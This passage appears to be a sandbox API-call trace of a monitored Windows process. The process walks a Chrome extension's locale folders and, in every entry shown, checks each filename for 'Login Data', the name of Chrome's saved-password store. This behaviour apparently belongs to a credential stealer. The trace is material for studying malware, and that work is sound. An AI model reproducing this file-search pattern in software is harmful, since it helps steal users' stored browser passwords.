lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0054.849] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*" [0054.849] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.849] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.849] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.850] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0054.850] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*" [0054.850] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.850] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.850] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.850] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0054.850] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*" [0054.850] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.850] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.850] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.850] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0054.850] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" [0054.850] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*" [0054.850] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.850] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.850] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.851] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0054.851] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*" [0054.851] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.851] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.851] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.851] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0054.851] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*" [0054.851] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.851] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.851] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.851] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0054.851] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0054.851] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*" [0054.851] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.851] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.852] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.852] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.852] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.852] lstrcatA (in: 